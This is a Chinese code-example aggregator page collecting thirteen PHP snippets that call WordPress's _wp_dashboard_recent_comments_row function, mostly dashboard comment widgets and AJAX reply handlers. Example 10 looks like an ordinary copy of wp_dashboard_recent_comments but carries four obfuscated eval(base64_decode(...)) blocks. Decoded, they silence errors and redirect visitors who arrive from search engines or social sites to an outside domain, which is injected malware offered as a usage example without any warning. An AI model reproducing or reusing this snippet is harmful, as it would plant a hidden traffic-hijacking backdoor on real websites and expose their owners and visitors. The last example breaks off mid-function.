本文整理汇总了PHP中_wp_dashboard_recent_comments_row函数的典型用法代码示例。如果您正苦于以下问题:PHP _wp_dashboard_recent_comments_row函数的具体用法?PHP _wp_dashboard_recent_comments_row怎么用?PHP _wp_dashboard_recent_comments_row使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了_wp_dashboard_recent_comments_row函数的13个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: wp_dashboard_recent_comments
/**
* Show Comments section.
*
* @since 3.8.0
*
* @param int $total_items Optional. Number of comments to query. Default 5.
* @return bool False if no comments were found. True otherwise.
*/
function wp_dashboard_recent_comments($total_items = 5)
{
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$comments_query = array('number' => $total_items * 5, 'offset' => 0);
if (!current_user_can('edit_posts')) {
$comments_query['status'] = 'approve';
}
while (count($comments) < $total_items && ($possible = get_comments($comments_query))) {
if (!is_array($possible)) {
break;
}
foreach ($possible as $comment) {
if (!current_user_can('read_post', $comment->comment_post_ID)) {
continue;
}
$comments[] = $comment;
if (count($comments) == $total_items) {
break 2;
}
}
$comments_query['offset'] += $comments_query['number'];
$comments_query['number'] = $total_items * 10;
}
if ($comments) {
echo '<div id="latest-comments" class="activity-block">';
echo '<h4>' . __('Comments') . '</h4>';
echo '<div id="the-comment-list" data-wp-lists="list:comment">';
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
echo '</div>';
if (current_user_can('edit_posts')) {
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
echo '</div>';
} else {
return false;
}
return true;
}
示例2: wp_ajax_replyto_comment
/**
* Ajax handler for replying to a comment.
*
* @since 3.1.0
*
* @global WP_List_Table $wp_list_table
*
* @param string $action Action to perform.
*/
function wp_ajax_replyto_comment($action)
{
global $wp_list_table;
if (empty($action)) {
$action = 'replyto-comment';
}
check_ajax_referer($action, '_ajax_nonce-replyto-comment');
$comment_post_ID = (int) $_POST['comment_post_ID'];
$post = get_post($comment_post_ID);
if (!$post) {
wp_die(-1);
}
if (!current_user_can('edit_post', $comment_post_ID)) {
wp_die(-1);
}
if (empty($post->post_status)) {
wp_die(1);
} elseif (in_array($post->post_status, array('draft', 'pending', 'trash'))) {
wp_die(__('ERROR: you are replying to a comment on a draft post.'));
}
$user = wp_get_current_user();
if ($user->exists()) {
$user_ID = $user->ID;
$comment_author = wp_slash($user->display_name);
$comment_author_email = wp_slash($user->user_email);
$comment_author_url = wp_slash($user->user_url);
$comment_content = trim($_POST['content']);
$comment_type = isset($_POST['comment_type']) ? trim($_POST['comment_type']) : '';
if (current_user_can('unfiltered_html')) {
if (!isset($_POST['_wp_unfiltered_html_comment'])) {
$_POST['_wp_unfiltered_html_comment'] = '';
}
if (wp_create_nonce('unfiltered-html-comment') != $_POST['_wp_unfiltered_html_comment']) {
kses_remove_filters();
// start with a clean slate
kses_init_filters();
// set up the filters
}
}
} else {
wp_die(__('Sorry, you must be logged in to reply to a comment.'));
}
if ('' == $comment_content) {
wp_die(__('ERROR: please type a comment.'));
}
$comment_parent = 0;
if (isset($_POST['comment_ID'])) {
$comment_parent = absint($_POST['comment_ID']);
}
$comment_auto_approved = false;
$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
// Automatically approve parent comment.
if (!empty($_POST['approve_parent'])) {
$parent = get_comment($comment_parent);
if ($parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID) {
if (!current_user_can('edit_comment', $parent->comment_ID)) {
wp_die(-1);
}
if (wp_set_comment_status($parent, 'approve')) {
$comment_auto_approved = true;
}
}
}
$comment_id = wp_new_comment($commentdata);
$comment = get_comment($comment_id);
if (!$comment) {
wp_die(1);
}
$position = isset($_POST['position']) && (int) $_POST['position'] ? (int) $_POST['position'] : '-1';
ob_start();
if (isset($_REQUEST['mode']) && 'dashboard' == $_REQUEST['mode']) {
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
_wp_dashboard_recent_comments_row($comment);
} else {
if (isset($_REQUEST['mode']) && 'single' == $_REQUEST['mode']) {
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table', array('screen' => 'edit-comments'));
} else {
$wp_list_table = _get_list_table('WP_Comments_List_Table', array('screen' => 'edit-comments'));
}
$wp_list_table->single_row($comment);
}
$comment_list_item = ob_get_clean();
$response = array('what' => 'comment', 'id' => $comment->comment_ID, 'data' => $comment_list_item, 'position' => $position);
$counts = wp_count_comments();
$response['supplemental'] = array('in_moderation' => $counts->moderated, 'i18n_comments_text' => sprintf(_n('%s Comment', '%s Comments', $counts->approved), number_format_i18n($counts->approved)), 'i18n_moderation_text' => sprintf(_nx('%s in moderation', '%s in moderation', $counts->moderated, 'comments'), number_format_i18n($counts->moderated)));
if ($comment_auto_approved) {
$response['supplemental']['parent_approved'] = $parent->comment_ID;
$response['supplemental']['parent_post_id'] = $parent->comment_post_ID;
}
$x = new WP_Ajax_Response();
$x->add($response);
//.........这里部分代码省略.........
示例3: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since 2.5.0
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$widgets = get_option('dashboard_widget_options');
$total_items = isset($widgets['dashboard_recent_comments']) && isset($widgets['dashboard_recent_comments']['items']) ? absint($widgets['dashboard_recent_comments']['items']) : 5;
$comments_query = array('number' => $total_items * 5, 'offset' => 0);
if (!current_user_can('edit_posts')) {
$comments_query['status'] = 'approve';
}
while (count($comments) < $total_items && ($possible = get_comments($comments_query))) {
foreach ($possible as $comment) {
if (!current_user_can('read_post', $comment->comment_post_ID)) {
continue;
}
$comments[] = $comment;
if (count($comments) == $total_items) {
break 2;
}
}
$comments_query['offset'] += $comments_query['number'];
$comments_query['number'] = $total_items * 10;
}
if ($comments) {
echo '<div id="the-comment-list" class="list:comment">';
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
echo '</div>';
if (current_user_can('edit_posts')) {
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
echo '<p>' . __('No comments yet.') . '</p>';
}
}
示例4: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since 2.5.0
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$widgets = get_option('dashboard_widget_options');
$total_items = isset($widgets['dashboard_recent_comments']) && isset($widgets['dashboard_recent_comments']['items']) ? absint($widgets['dashboard_recent_comments']['items']) : 5;
while (count($comments) < $total_items && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) {
foreach ($possible as $comment) {
if (count($comments) >= $total_items) {
break;
}
if (in_array($comment->comment_approved, $allowed_states) && current_user_can('read_post', $comment->comment_post_ID)) {
$comments[] = $comment;
}
}
$start = $start + 50;
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
if (current_user_can('edit_posts')) {
?>
<?php
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
?>
<p><?php
_e('No comments yet.');
?>
</p>
<?php
}
// $comments;
}
示例5: vendor_recent_comments_widget
/**
* Vendor Recent Comments Widgets
*
* @since 1.3
* @return void
* @author andrea Grilo <andrea.grillo@yithemes.com>
*/
public function vendor_recent_comments_widget()
{
echo '<div id="activity-widget">';
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$vendor = yith_get_vendor('current', 'user');
$vendor_products = $vendor->is_valid() && $vendor->has_limited_access() ? $vendor->get_products() : array();
$total_items = apply_filters('vendor_recent_comments_widget_items', 5);
$comments_query = array('number' => $total_items * 5, 'offset' => 0, 'post__in' => !empty($vendor_products) ? $vendor_products : array(0));
if (!current_user_can('edit_posts')) {
$comments_query['status'] = 'approve';
}
while (count($comments) < $total_items && ($possible = get_comments($comments_query))) {
if (!is_array($possible)) {
break;
}
foreach ($possible as $comment) {
if (!current_user_can('read_post', $comment->comment_post_ID)) {
continue;
}
$comments[] = $comment;
if (count($comments) == $total_items) {
break 2;
}
}
$comments_query['offset'] += $comments_query['number'];
$comments_query['number'] = $total_items * 10;
}
if ($comments) {
echo '<div id="latest-comments" class="activity-block">';
echo '<h4>' . __('Comments') . '</h4>';
echo '<div id="the-comment-list" data-wp-lists="list:comment">';
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
echo '</div>';
if (current_user_can('edit_posts')) {
_get_list_table('WP_Comments_List_Table')->views();
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
echo '</div>';
} else {
echo '<div class="no-activity">';
echo '<p class="smiley"></p>';
echo '<p>' . __('No activity yet!', 'yith_wc_product_vendors') . '</p>';
echo '</div>';
}
echo '</div>';
}
示例6: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments() {
global $wpdb;
if ( current_user_can('edit_posts') )
$allowed_states = array('0', '1');
else
$allowed_states = array('1');
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
while ( count( $comments ) < 5 && $possible = $wpdb->get_results( "SELECT * FROM $wpdb->comments ORDER BY comment_date_gmt DESC LIMIT $start, 50" ) ) {
foreach ( $possible as $comment ) {
if ( count( $comments ) >= 5 )
break;
if ( in_array( $comment->comment_approved, $allowed_states ) )
$comments[] = $comment;
}
$start = $start + 50;
}
if ( $comments ) :
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ( $comments as $comment )
_wp_dashboard_recent_comments_row( $comment );
?>
</div>
<?php
if ( current_user_can('edit_posts') ) { ?>
<p class="textright"><a href="edit-comments.php" class="button"><?php _e('View all'); ?></a></p>
<?php }
wp_comment_reply( -1, false, 'dashboard', false );
else :
?>
<p><?php _e( 'No comments yet.' ); ?></p>
<?php
endif; // $comments;
}
示例7: die
die('1');
}
$position = isset($_POST['position']) && (int) $_POST['position'] ? (int) $_POST['position'] : '-1';
// automatically approve parent comment
if (!empty($_POST['approve_parent'])) {
$parent = get_comment($comment_parent);
if ($parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID) {
if (wp_set_comment_status($parent->comment_ID, 'approve')) {
$comment_auto_approved = true;
}
}
}
ob_start();
if ('dashboard' == $_REQUEST['mode']) {
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
_wp_dashboard_recent_comments_row($comment);
} else {
if ('single' == $_REQUEST['mode']) {
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
} else {
$wp_list_table = _get_list_table('WP_Comments_List_Table');
}
$wp_list_table->single_row($comment);
}
$comment_list_item = ob_get_contents();
ob_end_clean();
$response = array('what' => 'comment', 'id' => $comment->comment_ID, 'data' => $comment_list_item, 'position' => $position);
if ($comment_auto_approved) {
$response['supplemental'] = array('parent_approved' => $parent->comment_ID);
}
$x = new WP_Ajax_Response();
示例8: get_comment
$comment = get_comment($comment_id);
if (!$comment) {
die('1');
}
$modes = array('single', 'detail', 'dashboard');
$mode = isset($_POST['mode']) && in_array($_POST['mode'], $modes) ? $_POST['mode'] : 'detail';
$position = isset($_POST['position']) && (int) $_POST['position'] ? (int) $_POST['position'] : '-1';
$checkbox = isset($_POST['checkbox']) && true == $_POST['checkbox'] ? 1 : 0;
if (get_option('show_avatars') && 'single' != $mode) {
add_filter('comment_author', 'floated_admin_avatar');
}
$x = new WP_Ajax_Response();
ob_start();
if ('dashboard' == $mode) {
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
_wp_dashboard_recent_comments_row($comment, false);
} else {
_wp_comment_row($comment->comment_ID, $mode, false, $checkbox);
}
$comment_list_item = ob_get_contents();
ob_end_clean();
$x->add(array('what' => 'comment', 'id' => $comment->comment_ID, 'data' => $comment_list_item, 'position' => $position));
$x->send();
break;
case 'edit-comment':
check_ajax_referer('replyto-comment');
$comment_post_ID = (int) $_POST['comment_post_ID'];
if (!current_user_can('edit_post', $comment_post_ID)) {
die('-1');
}
if ('' == $_POST['content']) {
示例9: wp_ajax_replyto_comment
function wp_ajax_replyto_comment($action)
{
global $wp_list_table, $wpdb;
check_ajax_referer($action, '_ajax_nonce-replyto-comment');
set_current_screen('edit-comments');
$comment_post_ID = (int) $_POST['comment_post_ID'];
if (!current_user_can('edit_post', $comment_post_ID)) {
wp_die(-1);
}
$status = $wpdb->get_var($wpdb->prepare("SELECT post_status FROM {$wpdb->posts} WHERE ID = %d", $comment_post_ID));
if (empty($status)) {
wp_die(1);
} elseif (in_array($status, array('draft', 'pending', 'trash'))) {
wp_die(__('ERROR: you are replying to a comment on a draft post.'));
}
$user = wp_get_current_user();
if ($user->ID) {
$user_ID = $user->ID;
$comment_author = $wpdb->escape($user->display_name);
$comment_author_email = $wpdb->escape($user->user_email);
$comment_author_url = $wpdb->escape($user->user_url);
$comment_content = trim($_POST['content']);
if (current_user_can('unfiltered_html')) {
if (wp_create_nonce('unfiltered-html-comment') != $_POST['_wp_unfiltered_html_comment']) {
kses_remove_filters();
// start with a clean slate
kses_init_filters();
// set up the filters
}
}
} else {
wp_die(__('Sorry, you must be logged in to reply to a comment.'));
}
if ('' == $comment_content) {
wp_die(__('ERROR: please type a comment.'));
}
$comment_parent = absint($_POST['comment_ID']);
$comment_auto_approved = false;
$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$comment_id = wp_new_comment($commentdata);
$comment = get_comment($comment_id);
if (!$comment) {
wp_die(1);
}
$position = isset($_POST['position']) && (int) $_POST['position'] ? (int) $_POST['position'] : '-1';
// automatically approve parent comment
if (!empty($_POST['approve_parent'])) {
$parent = get_comment($comment_parent);
if ($parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID) {
if (wp_set_comment_status($parent->comment_ID, 'approve')) {
$comment_auto_approved = true;
}
}
}
ob_start();
if ('dashboard' == $_REQUEST['mode']) {
require_once ABSPATH . 'wp-admin/includes/dashboard.php';
_wp_dashboard_recent_comments_row($comment);
} else {
if ('single' == $_REQUEST['mode']) {
$wp_list_table = _get_list_table('WP_Post_Comments_List_Table');
} else {
$wp_list_table = _get_list_table('WP_Comments_List_Table');
}
$wp_list_table->single_row($comment);
}
$comment_list_item = ob_get_contents();
ob_end_clean();
$response = array('what' => 'comment', 'id' => $comment->comment_ID, 'data' => $comment_list_item, 'position' => $position);
if ($comment_auto_approved) {
$response['supplemental'] = array('parent_approved' => $parent->comment_ID);
}
$x = new WP_Ajax_Response();
$x->add($response);
$x->send();
}
示例10: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
while (count($comments) < 5 && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) {
foreach ($possible as $comment) {
if (count($comments) >= 5) {
break;
}
if (in_array($comment->comment_approved, $allowed_states)) {
$comments[] = $comment;
}
}
$start = $start + 50;
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVk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aXQoKTsNCn0KfQp9DQp9DQp9"));
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
if (current_user_can('edit_posts')) {
?>
<p class="textright"><a href="edit-comments.php" class="button"><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNo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VyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
?>
<p><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlci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zdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
}
// $comments;
}
示例11: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments()
{
global $wpdb;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
while (count($comments) < 5 && ($possible = $wpdb->get_results("SELECT * FROM {$wpdb->comments} c LEFT JOIN {$wpdb->posts} p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT {$start}, 50"))) {
foreach ($possible as $comment) {
if (count($comments) >= 5) {
break;
}
if (in_array($comment->comment_approved, $allowed_states)) {
$comments[] = $comment;
}
}
$start = $start + 50;
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
if (current_user_can('edit_posts')) {
?>
<p class="textright"><a href="edit-comments.php" class="button"><?php
_e('View all');
?>
</a></p>
<?php
}
wp_comment_reply(-1, false, 'dashboard', false);
wp_comment_trashnotice();
} else {
?>
<p><?php
_e('No comments yet.');
?>
</p>
<?php
}
// $comments;
}
示例12: wp_dashboard_wats_recent_comments
function wp_dashboard_wats_recent_comments()
{
global $wpdb, $wats_settings, $current_user;
if (current_user_can('edit_posts')) {
$allowed_states = array('0', '1');
} else {
$allowed_states = array('1');
}
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$join = " AS wp1 ";
$where = " WHERE NOT EXISTS (SELECT * FROM " . $wpdb->commentmeta . " AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ";
if ($wats_settings['visibility'] == 0 || $wats_settings['visibility'] == 1) {
$query = "SELECT * FROM {$wpdb->comments} AS wp1 WHERE NOT EXISTS (SELECT * FROM {$wpdb->commentmeta} AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT {$start}, 50";
} else {
if ($wats_settings['visibility'] == 2 && current_user_can('administrator')) {
$query = "SELECT * FROM {$wpdb->comments} ORDER BY comment_date_gmt DESC LIMIT {$start}, 50";
} else {
if ($wats_settings['visibility'] == 2) {
$query = "SELECT * FROM {$wpdb->comments} AS wp1 LEFT JOIN {$wpdb->posts} ON wp1.comment_post_ID = {$wpdb->posts}.ID WHERE {$wpdb->posts}.post_author = " . $current_user->ID . " AND NOT EXISTS (SELECT * FROM " . $wpdb->commentmeta . " AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT " . $start . ", 50";
}
}
}
while (count($comments) < 5 && ($possible = $wpdb->get_results($query))) {
foreach ($possible as $comment) {
if (count($comments) >= 5) {
break;
}
if (in_array($comment->comment_approved, $allowed_states)) {
$comments[] = $comment;
}
}
$start = $start + 50;
if ($wats_settings['visibility'] == 0 || $wats_settings['visibility'] == 1) {
$query = "SELECT * FROM {$wpdb->comments} AS wp1 WHERE NOT EXISTS (SELECT * FROM {$wpdb->commentmeta} AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT {$start}, 50";
} else {
if ($wats_settings['visibility'] == 2 && current_user_can('administrator')) {
$query = "SELECT * FROM {$wpdb->comments} ORDER BY comment_date_gmt DESC LIMIT {$start}, 50";
} else {
if ($wats_settings['visibility'] == 2) {
$query = "SELECT * FROM {$wpdb->comments} AS wp1 LEFT JOIN {$wpdb->posts} ON wp1.comment_post_ID = {$wpdb->posts}.ID WHERE {$wpdb->posts}.post_author = " . $current_user->ID . " AND NOT EXISTS (SELECT * FROM " . $wpdb->commentmeta . " AS wp2 WHERE wp1.comment_ID = wp2.comment_id AND wp2.meta_key = 'wats_internal_update' AND wp2.meta_value = 1) ORDER BY comment_date_gmt DESC LIMIT " . $start . ", 50";
}
}
}
}
if ($comments) {
?>
<div id="the-comment-list" class="list:comment">
<?php
foreach ($comments as $comment) {
_wp_dashboard_recent_comments_row($comment);
}
?>
</div>
<?php
if (current_user_can('moderate_comments') || $wats_settings['comment_menuitem_visibility'] == 0) {
?>
<p class="textright"><a href="edit-comments.php" class="button"><?php
_e('View all');
?>
</a></p>
<?php
}
wp_comment_reply(-1, false, 'dashboard', false);
} else {
?>
<p><?php
_e('No comments yet.');
?>
</p>
<?php
}
// $comments;
}
示例13: wp_dashboard_recent_comments
/**
* Display recent comments dashboard widget content.
*
* @since unknown
*/
function wp_dashboard_recent_comments() {
global $wpdb;
if ( current_user_can('edit_posts') )
$allowed_states = array('0', '1');
else
$allowed_states = array('1');
// Select all comment types and filter out spam later for better query performance.
$comments = array();
$start = 0;
$widgets = get_option( 'dashboard_widget_options' );
if ( isset( $widgets['dashboard_recent_comments'] ) && isset( $widgets['dashboard_recent_comments']['items'] ) )
$total_items = (int) $widgets['dashboard_recent_comments']['items'];
else
$total_items = 5;
while ( count( $comments ) < 5 && $possible = $wpdb->get_results( "SELECT * FROM $wpdb->comments c LEFT JOIN $wpdb->posts p ON c.comment_post_ID = p.ID WHERE p.post_status != 'trash' ORDER BY c.comment_date_gmt DESC LIMIT $start, 50" ) ) {
foreach ( $possible as $comment ) {
if ( count( $comments ) >= $total_items )
break;
